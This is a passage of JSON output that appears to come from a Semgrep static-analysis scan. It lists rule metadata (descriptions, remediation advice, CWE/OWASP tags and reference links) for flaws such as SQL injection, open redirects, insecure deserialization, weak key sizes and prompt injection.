bits."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.key.small-key-size.small-key-size","id":"cpp.lang.security.crypto.key.small-key-size.small-key-size","name":"cpp.lang.security.crypto.key.small-key-size.small-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.key.small-key-size.small-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File traversal when extracting zip archive"},"help":{"markdown":"File traversal when extracting zip archive\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.zip.path-traversal-inside-zip-extraction)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"File traversal when extracting zip archive"},"helpUri":"https://semgrep.dev/r/go.lang.security.zip.path-traversal-inside-zip-extraction","id":"go.lang.security.zip.path-traversal-inside-zip-extraction","name":"go.lang.security.zip.path-traversal-inside-zip-extraction","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.zip.path-traversal-inside-zip-extraction"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared."},"help":{"markdown":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.memset-removal.memset-removal)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations](https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations)\n","text":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.memset-removal.memset-removal","id":"cpp.lang.correctness.memset-removal.memset-removal","name":"cpp.lang.correctness.memset-removal.memset-removal","properties":{"precision":"very-high","tags":["CWE-14: Compiler Removal of Code to Clear Buffers","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.memset-removal.memset-removal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.tainted-redirect-django.tainted-redirect-django)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n - [https://docs.djangoproject.com/en/5.0/ref/request-response/#django.http.HttpResponseRedirect](https://docs.djangoproject.com/en/5.0/ref/request-response/#django.http.HttpResponseRedirect)\n - [https://docs.djangoproject.com/en/5.0/ref/urlresolvers/#reverse](https://docs.djangoproject.com/en/5.0/ref/urlresolvers/#reverse)\n - [https://docs.djangoproject.com/en/5.0/topics/http/shortcuts/#redirect](https://docs.djangoproject.com/en/5.0/topics/http/shortcuts/#redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/python.django.web.tainted-redirect-django.tainted-redirect-django","id":"python.django.web.tainted-redirect-django.tainted-redirect-django","name":"python.django.web.tainted-redirect-django.tainted-redirect-django","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.tainted-redirect-django.tainted-redirect-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"help":{"markdown":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution)\n - [https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spel-injection](https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spel-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","id":"java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","name":"java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used."},"help":{"markdown":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://cwe.mitre.org/data/definitions/613.html](https://cwe.mitre.org/data/definitions/613.html)\n - [https://docs.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters?view=azure-dotnet](https://docs.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters?view=azure-dotnet)\n","text":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","id":"csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","name":"csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.peewee-fastapi.peewee-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.peewee-fastapi.peewee-fastapi","id":"python.fastapi.db.peewee-fastapi.peewee-fastapi","name":"python.fastapi.db.peewee-fastapi.peewee-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.peewee-fastapi.peewee-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input."},"help":{"markdown":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails2/app/controllers/application_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails2/app/controllers/application_controller.rb)\n","text":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","id":"ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","name":"ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"help":{"markdown":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","id":"swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","name":"swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-pandas.pickles-in-pandas)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-pandas.pickles-in-pandas","id":"trailofbits.python.pickles-in-pandas.pickles-in-pandas","name":"trailofbits.python.pickles-in-pandas.pickles-in-pandas","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-pandas.pickles-in-pandas"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs."},"help":{"markdown":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect)\n - [https://symfony.com/doc/current/controller.html#redirecting](https://symfony.com/doc/current/controller.html#redirecting)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","id":"php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","name":"php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`."},"help":{"markdown":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.query-set-extra.avoid-query-set-extra)\n - [https://docs.djangoproject.com/en/3.0/ref/models/querysets/#django.db.models.query.QuerySet.extra](https://docs.djangoproject.com/en/3.0/ref/models/querysets/#django.db.models.query.QuerySet.extra)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.query-set-extra.avoid-query-set-extra","id":"python.django.security.audit.query-set-extra.avoid-query-set-extra","name":"python.django.security.audit.query-set-extra.avoid-query-set-extra","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.query-set-extra.avoid-query-set-extra"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.ai.prompt-injection-flask.prompt-injection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.flask.ai.prompt-injection-flask.prompt-injection-flask","id":"python.flask.ai.prompt-injection-flask.prompt-injection-flask","name":"python.flask.ai.prompt-injection-flask.prompt-injection-flask","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.ai.prompt-injection-flask.prompt-injection-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CORS rule on bucket permits any origin"},"help":{"markdown":"CORS rule on bucket permits any origin\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-cors-all-origins.all-origins-allowed)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#using-cors](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#using-cors)\n","text":"CORS rule on bucket permits any origin"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-cors-all-origins.all-origins-allowed","id":"terraform.lang.security.s3-cors-all-origins.all-origins-allowed","name":"terraform.lang.security.s3-cors-all-origins.all-origins-allowed","properties":{"precision":"very-high","tags":["CWE-942: Permissive Cross-domain Policy with Untrusted Domains","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-cors-all-origins.all-origins-allowed"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.mysql-sqli.mysql-sqli)\n - [https://www.npmjs.com/package/mysql2](https://www.npmjs.com/package/mysql2)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.mysql-sqli.mysql-sqli","id":"javascript.aws-lambda.security.mysql-sqli.mysql-sqli","name":"javascript.aws-lambda.security.mysql-sqli.mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.mysql-sqli.mysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.eval-detected.eval-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.eval-detected.eval-detected","id":"javascript.browser.security.eval-detected.eval-detected","name":"javascript.browser.security.eval-detected.eval-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.eval-detected.eval-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead."},"help":{"markdown":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.bad_imports.insecure-module-used)\n - [https://godoc.org/golang.org/x/crypto/sha3](https://godoc.org/golang.org/x/crypto/sha3)\n","text":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.bad_imports.insecure-module-used","id":"go.lang.security.audit.crypto.bad_imports.insecure-module-used","name":"go.lang.security.audit.crypto.bad_imports.insecure-module-used","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.bad_imports.insecure-module-used"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead."},"help":{"markdown":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","id":"java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","name":"java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-json.tainted-json)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-json.tainted-json","id":"python.lang.deserialization.tainted-json.tainted-json","name":"python.lang.deserialization.tainted-json.tainted-json","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-json.tainted-json"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`.\n\n<b>References:</b>\n - [Semgrep 